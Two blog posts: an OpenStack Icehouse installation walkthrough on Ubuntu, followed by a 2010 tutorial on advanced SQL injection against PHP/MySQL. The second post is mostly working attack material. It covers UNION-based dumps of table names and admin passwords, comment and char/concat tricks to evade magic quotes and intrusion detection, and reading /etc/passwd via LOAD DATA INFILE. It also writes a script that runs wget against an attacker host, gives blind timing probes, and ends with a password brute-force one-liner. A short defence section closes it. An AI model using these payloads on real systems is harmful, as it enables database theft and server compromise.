Saturday, June 28, 2014

Install Openstack Icehouse

For this tutorial I am using Ubuntu 14.04 but should work with Ubuntu 12.04.   For all passwords I am using test12. Please do not use this password. Use your own secure one.  Rabbitmq, mysql and the endpoints will use the insecure password for this blog.

Openstack is a python library that allows you to launch VMs.  Each piece is divided into components.

Nova:
Library that controls the creation of VMs, networking  and scheduling.

KeyStone:
Handles auth,  manages users and tenants.

Glance:
Stores the VMs and volume images.

Cinder:
Attached volumes and snapshot management.

Swift:
HTTP object store.  A lot like S3 in Amazon.

Horizon:
Django web gui for the stack

JuJu:
This is not a openstack project, but is a tool to deploy orchestration. Openstack will be the infrastructure that juju uses.

Installing the basics

Openstack is written in python,  uses RabbitMq as a queuing system and uses MySql as a database.

The first thing we need to do is grab the software for the backend.

apt-get install python-mysqldb mysql-server
apt-get install rabbitmq-server
apt-get install python-software-properties
add-apt-repository cloud-archive:icehouse ( only for ubuntu 12.04 )
apt-get update
apt-get dist-upgrade
reboot

Once your computer restarts mysql and rabbmitmq should be running.

Change the password for rabbit

rabbitmqctl change_password guest test12

Login to mysql and setup the databases.

mysql -uroot -ptest12

mysql> create database cinder;
Query OK, 1 row affected (0.00 sec)

mysql> create database nova;
Query OK, 1 row affected (0.00 sec)

mysql> create database glance;
Query OK, 1 row affected (0.00 sec)

mysql> create database keystone;
Query OK, 1 row affected (0.00 sec)

mysql> create database swift;
Query OK, 1 row affected (0.00 sec)

You may want to setup different users and permissions but for this artical I am just going to use the username root.

It also makes sense to add a host entry for the machine you are on. I will call it controller. ( Or just add it to DNS )

echo "127.0.0.1   controller" >> /etc/hosts

A couple other things the stack may need.  I like to create a tunnel that the VMs use.  Also iptables and sysctl settings are set to make VMs able to access the outside world.

Ubuntu 12.04
ip tunetap add dev tap mode tap
ifconfig tap up

Ubuntu 14.04
apt-get install uml-utilities
tunctl -u root
ifconfig tap0 up

vim /etc/sysctl.conf
   net.ipv4.ip_forward=1
sysctl -p

iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE

Installing Keystone 

Time to install keystone, grab the python package and setup the users, tenants and endpoints.

apt-get install keystone

Open up /etc/keystone/keystone.conf  and change to

admin_token=test12
connection = mysql://root:test12@controller/keystone

save and close

rm -rf /var/lib/keystone/keystone.db
keystone-manage db_sync
service keystone restart

Set some environment variables

export OS_SERVICE_TOKEN=test12
export OS_SERVICE_ENDPOINT=http://controller:35357/v2.0

Create the keystone users and tenants

keystone user-create --name=admin --pass=test12 --email=me@me.com
keystone role-create --name=admin
keystone tenant-create --name=admin --description="Admin Tenant"
keystone user-role-add --user=admin --tenant=admin --role=admin
keystone user-role-add --user=admin --role=_member_ --tenant=admin
keystone user-create --name=demo --pass=test12 --email=me@me.com
keystone tenant-create --name=demo --description="Demo Tenant"
keystone user-role-add --user=demo --role=_member_ --tenant=demo
keystone tenant-create --name=service --description="Service Tenant"

Create the service and endpoint

keystone service-create --name=keystone --type=identity   --description="OpenStack Identity"

keystone endpoint-create   --service-id=$(keystone service-list | awk '/ identity / {print $2}')   --publicurl=http://controller:5000/v2.0   --internalurl=http://controller:5000/v2.0   --adminurl=http://controller:35357/v2.0

Unset these varables

unset OS_SERVICE_TOKEN OS_SERVICE_ENDPOINT

It's time to set environment variables that keystone uses on most components.  You can set these in a shell but makes more sense to add them to your .profile

Open ~/.profile

export OS_USERNAME=admin
export OS_PASSWORD=test12
export OS_TENANT_NAME=admin
export OS_AUTH_URL=http://controller:35357/v2.0

save and close

You should be able to run the keystone command now.

keystone user-list
+----------------------------------+-------+---------+-----------+
|                id                |  name | enabled |   email   |
+----------------------------------+-------+---------+-----------+
| ccbe2503ba6046eaac9fd54fe619e90e | admin |   True  | me@me.com |
| c6c72fd23ab841b791c5bfeb1e8e816c |  demo |   True  | me@me.com |
+----------------------------------+-------+---------+-----------+

keystone tenant-list
+----------------------------------+---------+---------+
|                id                |   name  | enabled |
+----------------------------------+---------+---------+
| 597744bd30364873b944984134942cf8 |  admin  |   True  |
| 6bb9a0b87e7e44b99c45a51009ea5a2b |   demo  |   True  |
| 8bf3aa286f4543bba35184ac3ef7bc17 | service |   True  |
+----------------------------------+---------+---------+

 keystone endpoint-list
+----------------------------------+-----------+-----------------------------+-----------------------------+------------------------------+----------------------------------+
|                id                |   region  |          publicurl          |         internalurl         |           adminurl           |            service_id            |
+----------------------------------+-----------+-----------------------------+-----------------------------+------------------------------+----------------------------------+
| b8232351bb554afc8078ae99d6eb4e6f | regionOne | http://controller:5000/v2.0 | http://controller:5000/v2.0 | http://controller:35357/v2.0 | 49f7d03e9f364dd483a8340ca0e0a4e5 |
+----------------------------------+-----------+-----------------------------+-----------------------------+------------------------------+----------------------------------+

Installing Glance

Glance is what holds the image repo.

apt-get install glance python-glanceclient

And create the users and endpoints.

keystone user-create --name=glance --pass=test12 --email=me@me.com
keystone user-role-add --user=glance --tenant=service --role=admin

keystone service-create --name=glance --type=image --description="OpenStack Image Service"

keystone endpoint-create --service-id=$(keystone service-list | awk '/ image / {print $2}')   --publicurl=http://controller:9292  --internalurl=http://controller:9292   --adminurl=http://controller:9292

Edit  /etc/glance/glance-api.conf  and /etc/glance/glance-registry.conf

Change the database settings

connection = mysql://root:test12@controller/glance

And the keyauth
[keystone_authtoken]
auth_host = controller
auth_port = 35357
auth_protocol = http
admin_tenant_name = service
admin_user = glance
admin_password = test12
rabbit_host = localhost
rabbit_port = 5672
rabbit_use_ssl = false
rabbit_userid = guest
rabbit_password = test12
rabbit_virtual_host = /
rabbit_notification_exchange = glance
rabbit_notification_topic = notifications
rabbit_durable_queues = False

Edit  /etc/glance/glance-registry-paste.ini  and /etc/glance/glance-api-paste.ini
Change to

[filter:authtoken]
paste.filter_factory=keystoneclient.middleware.auth_token:filter_factory
auth_host=controller
admin_user=glance
admin_tenant_name=service
admin_password=test12
flavor=keystone 

glance-manage db_sync

Login to mysql as the glance database and run
alter table migrate_version convert to character set utf8 collate utf8_unicode_ci;
( This was a bug I ran into )

Then run again

glance-manage db_sync

Log into mysql, you should see the glance tables.
service glance-registry restart
service glance-api restart

Tables should be created, run

glance index

Should return a empty list.

You will have to check a image into glance to boot.  Openstack can boot many different types of linux distros. Glance stores these images.

Let's grab ubuntu 14.04  from  cloud-images.ubuntu.com

wget': wget http://cloud-images.ubuntu.com/trusty/current/trusty-server-cloudimg-amd64-disk1.img

Add the image to glance.

glance image-create --name="ubuntu" --disk-format=qcow2 --container-format=bare --is-public=true < trusty-server-cloudimg-amd64-disk1.img

Running the glance index now shows the image is ready to use.

glance index
ID                                   Name                           Disk Format          Container Format     Size         
------------------------------------ ------------------------------ -------------------- -------------------- --------------
a3aa8e75-0cc5-4601-851f-3343ab9bf2ed ubuntu                         qcow2                bare                      254542336

Installing nova

Nova is the bread and butter of openstack. It controls which hyper visor to use, networking , the api , scheduling  and many other features.

Create the users and endpoints in keystone
keystone user-create --name=nova --pass=test12 --email=me@me.comkeystone keystone user-role-add --user=nova --tenant=service --role=admin

keystone service-create --name=nova --type=compute --description="Openstack Compute"

keystone endpoint-create   --service-id=$(keystone service-list | awk '/ compute / {print $2}')   --publicurl=http://controller:8774/v2/%\(tenant_id\)s   --internalurl=http://controller:8774/v2/%\(tenant_id\)s   --adminurl=http://controller:8774/v2/%\(tenant_id\)s


Before we begin I would like to note I ran into a bug with nova-api not starting.  Here is the fix if you run into this

( Troubleshooting nova-api )

chmod -R nova:nova /var/lib/nova

If nova api fails to start 8774,   might have to remove.
apt-get remove python-netaddr and restart all the python modules ( Buggy)

( done troubleshooting )

Install all the nova python packages.

apt-get install nova-api nova-cert nova-conductor nova-consoleauth nova-novncproxy nova-scheduler python-novaclient nova-compute-kvm python-guestfs nova-api nova-cert nova-conductor nova-consoleauth nova-novncproxy nova-scheduler python-novaclient nova-network

cd /etc/nova

Edit /etc/nova/api-paste.ini with your settings

[filter:authtoken]
paste.filter_factory = keystoneclient.middleware.auth_token:filter_factory
auth_host = controller
auth_port = 35357
auth_protocol = http
auth_uri = http://controller:5000/v2.0
admin_tenant_name = service
admin_user = nova
admin_password = test12
auth_version = v2.0

nova-compute.conf  sets the hyper visor.  Qemu, Xen, KVM and VMware are supported

edit /etc/nova/nova-compute.conf

[DEFAULT]
compute_driver=libvirt.LibvirtDriver
[libvirt]
virt_type=qemu

edit /etc/nova/nova.conf, this file controls nova, the api , networking info etc

[DEFAULT]
dhcpbridge_flagfile=/etc/nova/nova.conf
dhcpbridge=/usr/bin/nova-dhcpbridge
logdir=/var/log/nova
state_path=/var/lib/nova
lock_path=/var/lock/nova
force_dhcp_release=True
iscsi_helper=tgtadm
libvirt_use_virtio_for_bridges=True
connection_type=libvirt
root_helper=sudo nova-rootwrap /etc/nova/rootwrap.conf
verbose=True
ec2_private_dns_show_ip=True
api_paste_config=/etc/nova/api-paste.ini
volumes_path=/var/lib/nova/volumes
enabled_apis=ec2,osapi_compute,metadata
auth_strategy=keystone
glance_host=controller
daemonize=1

rpc_backend = nova.rpc.impl_kombu
rabbit_host = controller
rabbit_password = test12

my_ip=10.0.2.15
vncserver_listen=10.0.2.15
vncserver_proxyclient_address=10.0.2.15
novncproxy_base_url=http://controller:6080/vnc_auto.html

network_manager=nova.network.manager.FlatDHCPManager
firewall_driver=nova.virt.libvirt.firewall.IptablesFirewallDriver
network_size=254
allow_same_net_traffic=False
multi_host=True
send_arp_for_ha=True
share_dhcp_address=True
force_dhcp_release=True
flat_network_bridge=br100
flat_interface=tap0
public_interface=br100
vlan_interface=eth0

[database]
connection = mysql://root:test12@controller/nova

[keystone_authtoken]
auth_host = controller
auth_port = 35357
auth_protocol = http
admin_tenant_name = service
admin_user = nova
admin_password = test12

# end of nova.conf

Create the mysql database

nova-manage db sync


Restart all the services.

service nova-api restart
service nova-compute
service nova-cert restart
service nova-consoleauth restart
service nova-scheduler restart
service nova-conductor restart
service nova-novncproxy restart

Make sure everything is happy.

nova-manage service list

Nova-network is how the VMs get networking. Let's create a network.

service nova-network restart

nova network-create vmnet --fixed-range-v4=10.0.0.0/24 --bridge-interface=br100

Let's list the network

nova network-list
+--------------------------------------+-------+-------------+
| ID                                   | Label | Cidr        |
+--------------------------------------+-------+-------------+
| b5478144-e80c-4964-80cc-941cc2c1a2b2 | vmnet | 10.0.0.0/24 |
+--------------------------------------+-------+-------------+

Make sure nova can see our glance image

nova image-list
+--------------------------------------+--------+--------+--------+
| ID                                   | Name   | Status | Server |
+--------------------------------------+--------+--------+--------+
| a3aa8e75-0cc5-4601-851f-3343ab9bf2ed | ubuntu | ACTIVE |        |
+--------------------------------------+--------+--------+--------+

Install Cinder

Cinder is a block storage system that stores volumes and snapshots.

To Install

apt-get install cinder-api cinder-scheduler

Edit /etc/cinder/cinder.conf

Add the database settings and rabbitmq

[DEFAULT]
rootwrap_config = /etc/cinder/rootwrap.conf
api_paste_confg = /etc/cinder/api-paste.ini
iscsi_helper = tgtadm
volume_name_template = volume-%s
volume_group = cinder-volumes
verbose = True
auth_strategy = keystone
state_path = /var/lib/cinder
lock_path = /var/lock/cinder
volumes_dir = /var/lib/cinder/volumes
glance_host = controller


[database]
connection = mysql://root:test12@controller/cinder

[keystone_authtoken]
auth_uri = http://controller:5000
auth_host = controller
auth_port = 35357
auth_protocol = http
admin_tenant_name = service
admin_user = cinder
admin_password = test12

rm -rf /var/lib/cinder/cinder.sqlite
cinder-manage db sync

Create the endpoints

keystone user-create --name=cinder --pass=test12 --email=me@me.com
keystone user-role-add --user=cinder --tenant=service --role=admin
keystone service-create --name=cinder --type=volume --description="OpenStack Block Storage"

keystone endpoint-create   --service-id=$(keystone service-list | awk '/ volume / {print $2}')   --publicurl=http://controller:8776/v1/%\(tenant_id\)s   --internalurl=http://controller:8776/v1/%\(tenant_id\)s   --adminurl=http://controller:8776/v1/%\(tenant_id\)s

keystone service-create --name=cinderv2 --type=volumev2 --description="OpenStack Block Storage v2"

keystone endpoint-create   --service-id=$(keystone service-list | awk '/ volumev2 / {print $2}')   --publicurl=http://controller:8776/v2/%\(tenant_id\)s   --internalurl=http://controller:8776/v2/%\(tenant_id\)s   --adminurl=http://controller:8776/v2/%\(tenant_id\)s

service cinder-scheduler restart
service cinder-api restart

Creating the LVM

apt-get install lvm2

pvcreate /dev/sdb
  Physical volume "/dev/sdb" successfully created

vgcreate cinder-volumes /dev/sdb
  Volume group "cinder-volumes" successfully created

Installing cinder-volume

Make sure cinder is working

Testing it out by creating a volume

cinder create --display-name myVolume 1

cinder list

pvscan

Horizon
At this point Openstack is ready to use. Horizon is a django web gui that ships with openstack.  

apt-get install apache2 memcached libapache2-mod-wsgi openstack-dashboard

Open up a web browser

http://controller/horzion

The username and password is your os_username and os_password.  You will be able to set security rules, create flavors, view stats and launch VMs.


Thats it!

Openstack icehouse should be installed and running, you should be able to launch VMs, create snapshots and everything else.

Enjoy


Wednesday, April 28, 2010

Sql injection - You are still vulnerable

SQL injection has been around for some time now. Doing a quick Google search will result in hundreds of articles on the basics. Although this article explains the basics, it is geared towards advance techniques.

The examples in this text will be using MySQL and php5. Almost all examples will work on different databases and/or programming languages. Some will not work in PHP. I am not responsible for what you do with your new knowledge.

NOTE: There is a good chance the below exploit examples below will not work. I will explain after this section.

I will start by creating a test table we can play with. Feel free to use your own.


--- The Basics ---


EXAMPLE SQL:

create database sqltest;
use sqltest;
create table users (id int,fname char(40),lname char(40),comment text);
insert into users values (0,"chris","tree","test account");
insert into users values (1,"mike","rally","friend account");
insert into users values (2,"jim","Washington","");
quit


PHP EXAMPLE test.php:


mysql_connect("localhost","root","");
mysql_select_db("sqltest");

$query = mysql_query("select fname,lname from users where fname='$_REQUEST[fname]';");

while($row=mysql_fetch_row($query)){

echo "$row[0] $row[1]";

}

?>

URL : test.php?fname=chris
SQL QUERY : select fname,lname from users where fname='chris';


Above is some sample PHP code and SQL for the program test.php. It takes one argument named fname. fname gets input from the user and then runs a query that returns the results.

test.php?fname=chris will return the user info for chris.
SQL QUERY : select fname,lname from users where fname='chris';
test.php?fname=jim will return the user info for jim.
SQL QUERY : select fname,lname from users where fname='jim';


What a SQL injection does is alters the query statement to make your own evil query run. This can be to bypass a user login or dump all the credit card numbers out of a database. Lets look at some examples.

test.php?fname=chris" or 1=1 or "

This will dump all the users from the database. What's with the " or 1=1 or " ? Because this script is vulnible, we can replace the original query with our evil one and change the results. 1=1 is a true statement. So chris" or 1=1 or " asks SQL to look for a user that has a first name fof chris or 1=1 ( true ) , so it just dumps everything because 1=1 is true. Look for chris or true. The ending or " just makes the command complete.

QUERY : select fname,lname from users where fname="chris" or 1=1 or "";

Another example

test.php?fname=chris" and cnt>1 --\
QUERY : select fname,lname from users where fname="chris" or 1=1 and id>1 --;

The above asks the database for all users with the first name chris, and that there id must be over 1. The -- at the end tell SQL to ignore everything else.

Thats the basics of SQL injection. We can now control the database and extract our data. Before you quit your day job to hack the world, let it be known that these hacks have been around for awhile. Security procedures have been put into place, this paper is about how to bypass those protections.


-- Magic quotes ---


Starting with PHP4. A feature called magic quotes was added. What this does is it puts a cancel character before single or double quotes. This makes it "almost" ( keyword here ) impossible for you to exit out of a normal query to run your exploit. Most PHP installs enable this by default.

Another common protection is to use regular expressions to find special characters and either replace or remove them.

Both these methods do NOT protect from SQL injection. Sorry, it's not personal.

Here are some examples of magic quotes.

test.php?fname=chris" or 1=1 or "
QUERY : select fname,lname from users where fname="chris\" or 1=1 or \"\";

The above example will not work because the escaped quotes make this a invalid query.

Regular expression example


$clean_string = preg_replace("/[^a-zA-Z0-9s]/", "", $_REQUEST[fname]);

echo "$clean_string";

?>

test.php?fname= chris or 1=1
Results ; chris or

The above code replaces all special chars with a NULL charator. This blocks some hacking attempts, but not all.


--- The good stuff ---


Ok, we are done with the basic stuff. Now we can move on to what this text is about, bypassing protection. Lets get to it!

First lets talk about integers. This is a very common sight on a website.

test.php?id=1

QUERY : select fname,lname from users where id=1;

What's wrong here ? Well, the argument that PHP gets does not have quotes around it. ( integers most the time are quoteless ) It has no special characters in the string so both magic quotes and/or regular expressions are not protecting here. This is all fine and dandy till someone exploits this.

Let's give it a try.

test.php?id=1 union select null,TABLE_NAME from information_schema.TABLES;
QUERY : select fname,lname from users where id=1 union select null,TABLE_NAME from information_schema.TABLES;

That just dumped all the table names in Mysql, with magic quotes enabled ! I can explain

Mysql has a default database which it stores information in. One of the tables has all the table names in it. What we are doing here is running a union query to look for an id that starts with 1 and then dumps the table names. What's with the null you may ask yourself ? When you do a union command your column numbers have to match and because the first query dumps fname and lname we have to match TABLE_NAME with another column so they are the same column value. Null does nothing but makes are query work. If you have a query that spits back 3 columns then we would have to add another null or Mysql will return an error and are exploit probably will not work.

Example

QUERY : select fname,lname,id from users where id=1 union select null,null,TABLE_NAME from information_schema.TABLES;

Now we know the table names the database has we can use the union query to dump the data we want, using the information_schema database for a nice map of SQL. Another example with admin passwords.

QUERY : select fname,lname,id from users where id=1 union select null,null,passwords from admins;

The above example would dump all admin passwords if a table named admins existed , ( and of course stored passwords in a column names passwords )

--- Char fun ---

Another feature Mysql and other databases have is the option to use char and/or the ASCII code to use a character. A great way to get around protection, I must say.

chris in ASCII = 99 104 114 105 115;

test.php?id=1 union select * from users where fname=concat(char(99),char(104),char(114),char(105),char(115));

Why would you want to do this ? Many web servers run IDS ( intrusion detention systems ) which scan for target words like union. By using ASCII this may bypass that alert. But the big issue here is there is no quotes being used. No magic quotes baby !

--- A Quick comment ---

Who would of thought that comments could be a security risk? Well in SQL they are. The problem with SQL is you can comment out parts of the query which makes it great to elevate your access.

Say you have access to a website but only have selected access to certain areas. A web developer would probably code something similar below.

PHP Example : group.php


mysql_connect("localhost","root","");
mysql_select_db("sqltest");

$query = mysql_query("select * from pages where cnt>$_REQUEST[id] and canview="yes" and groups=$_REQUEST[groups]");

while($row=mysql_fetch_row($query)){

echo "Your group has access to.

";

echo "$row[0] $row[1]";

}

?>

group.php?id=1&groups=5
SQL QUERY : select * from users where id=10 and canview="yes" and groups=5;

The user can only view pages that have the canview option set to yes . To bypass this protection all the cracker would have to do is comment out the canview option.

group.php?id=10/*&groups=*/ or 5=5;
SQL QUERY : select * from users where id=10 /* and canview="yes" and groups= */ or 5=5;


The above example works because the query that looks for canview="no" is commented out. So SQL skips it all together. The or 5=5 just makes the query a true query, without it, the query would not run because it's invalid.

--- Concat Function ---

The concat function is very useful in your hacking activities. What it does is it puts two strings together. This is very useful to bypass IDS alerts. And to get around magic quotes.

Query : select * from users where name = concat("H","A","C","K","E","R");

The above example query would select * from users where name="HACKER";

You can also use ASCII numbers in place of chars.

Query : select * from users where name = concat(char(99),char(104),char(114),char(105),char(115));


--- Fun With I/O ---

Mysql has the option to read and write to files. If you can read and write files on the system, there is a good change you can compromise the box. These next functions will only work if you are running as root. A good way to tell is just select the user function.

Query : select user() from information_schema.TABLES;

This will spit out the user that mysql is running. Now lets try and read a file on the system. How about /etc/passwd.

For this to work, you will have to find a table that can handle the data. Using the old union select trick, you can get a list of table names you can work with.

Query : select null from users where cnt=1 union select TABLE_NAME from information_schema.tables;

Because we want to print the /etc/passwd file that has 7 columns. We need to find a table that also has that many columns. If not, then not all the data
will show.

For this example I created a table myself instead of finding one. I'm cheating, sue me.

Query : create table testtest (a text,b text,c text,d text,e text);

And to load the file all we would do

Query : LOAD DATA INFILE '/etc/passwd' into table testtest fields terminated by ":";

Now are data is in testest we can view it.

Query : select * from testtest;

As you can see, we just read a file on the box. Beautiful

mysql> select * from testtest;
+------------+------+-------+-------+-------------------------------------------+
| a | b | c | d | e |
+------------+------+-------+-------+-------------------------------------------+
| root | x | 0 | 0 | root |
| daemon | x | 1 | 1 | daemon |
| bin | x | 2 | 2 | bin |
| sys | x | 3 | 3 | sys |
| sync | x | 4 | 65534 | sync |
| games | x | 5 | 60 | games |
| man | x | 6 | 12 | man |
| lp | x | 7 | 7 | lp |
| mail | x | 8 | 8 | mail |
| news | x | 9 | 9 | news |
| uucp | x | 10 | 10 | uucp |
| proxy | x | 13 | 13 | proxy |
| www-data | x | 33 | 33 | www-data |
| backup | x | 34 | 34 | backup |
| list | x | 38 | 38 | Mailing List Manager |
| irc | x | 39 | 39 | ircd |
| gnats | x | 41 | 41 | Gnats Bug-Reporting System (admin) |
| nobody | x | 65534 | 65534 | nobody |
| libuuid | x | 100 | 101 | |
| syslog | x | 101 | 102 | |
| klog | x | 102 | 103 | |
| landscape | x | 103 | 65534 | |
| messagebus | x | 104 | 109 | |
| postfix | x | 107 | 116 | |
| puppet | x | 105 | 113 | Puppet configuration management daemon,,, |
| quagga | x | 109 | 121 | Quagga routing suite,,, |
| sshd | x | 106 | 65534 | |
+------------+------+-------+-------+-------------------------------------------+

Now that we have read a file it's time to write one. When we write a file to the system, the owner of that file is the same as the process that mysql is running as. In most cases it's mysql. Being able to write to a file as mysql will not compromise the box by itself. But system admins make mistakes all the
time. A simple mistake could spell disaster.

test.php?run.php?test=1; select a,b,c,d,e from testtest into outfile '/tmp/writeme.sh' fields terminated by ':';

The above query writes the same /etc/pass to /tmp/writeme.sh

You could use another injection to write a evil script. The one below uses the wget command to download a file on the server. If the
user ran ./tmp/writeme.sh, they would download the file.

Query : select * from users; insert into testtest (a) values ("#! /bin/bash");
Query : select * from users; insert into testtest (a) values ("wget http://evilhost.com/file.exe");
test.php?run.php?test=1; select a from testtest into outfile '/tmp/writeme2.sh';

Nice !

A couple side notes about this. The above examples will not work with PHP. PHP only lets you run a single query command. This example works in Oracle.
Also it is not very easy to run infile and outfile stringed together with another command.
If you get creative. And with a little luck, this could be very dangerous.


--- Going blind ---


Most injections are on websites, most admins turn off error messages ( not all ). The first thing to look for in a SQL injection is to make sure it's possible. The benchmark function is a great way.

index.php?id=1 union SELECT BENCHMARK(10000000,MD5('A'));

Depending on the system, this will take about 17 seconds. Why would you want to do this ?

If it takes about 20 seconds to return the page you know the benchmark function ran. If that function ran there
is a good chance other ( or all ) injections are possible. Not all site's are vulnerable.

Another one I enjoy is to increment a number argument ( make sure the page changes ) If this is possible then you
know you can exploit the page. Example

index.php?id=1

Loads one page

index.php?id=2

Loads another

You could try something like index.php?id=1 or 1=1 , or index.php?id=1 or 1=1 and id<>1. The first ask SQL to return
any user with a id of 1 or true ( dump the whole thing). The second does the same and does not show the result if the id=1 , a great way to narrow down your search.

--- Protection ---

What SQL article would be complete without protection against injection ? Very simple. VALIDATE ALL USER INPUT. Never
ever trust user input. Also be careful with hidden fields, make sure you clean those too. Even though there are ways
around it, I would recommend magic_quotes to be turned on ( can't hurt anything to add a protected wall ).

By far the best way is to select against a predefined list of queries. Do not allow the user to add to the query. In
PHP if you are going to use a intager, put a (int) in front of the POST,GET or REQUEST function. This will
make PHP see all your input as a number and prevent exploitation. Of course you can
also make all your numbers around quotes but this may be a issue later.

Secure PHP intager example

test.php?id=1


$getid = (int)$_REQUEST[id];

echo "You entered $getid";

?>

Very secure with predefined querys.


$getid = (int)$_REQUEST[id];

switch($getid){

case 1: $query="select * from users where id=1"; break;
case 2: $query="select * from users where id=2"; break;
case 3: $query="select * from users where id=3"; break;
default: $query="select * from users where id=1"; break;

}

$get_query = mysql_query($query);

?>

Above there is no way to hack this, if the attacker added there own code it would just produce a number and default to the
id=1 option.


--- Remote exploitation ---

Mysql runs on port 3306. A lot of the protection that PHP offers is completely bypassed if the mysql daemon is insecure.
Do not run mysql open to the world where anybody can connect. If someone cracks your password and connects to the SQL client, there is a good chance they can root the box. Make sure your password is secure ! A simple brute force program can gain access in a couple hours with a weak password. This should not matter because outside access should be disabled in
the first place !

Quick and dirty example. ( This could also work with a little tweaking remotely )

Download a list of words from the Internet and store them in pass.

Run this one liner . sh # for a in `cat pass`; do mysql -uroot -p$a; done;

This will loop through all the words in the pass file till mysql establishes a connection.

Yep, that easy. Thats why a good password is important.


--- Conclusion ---


Well we have been over most advanced SQL injection techniques. With a little
practice and a little lucky you are on your way to becoming a SQL injection expert. Have fun and stay legal.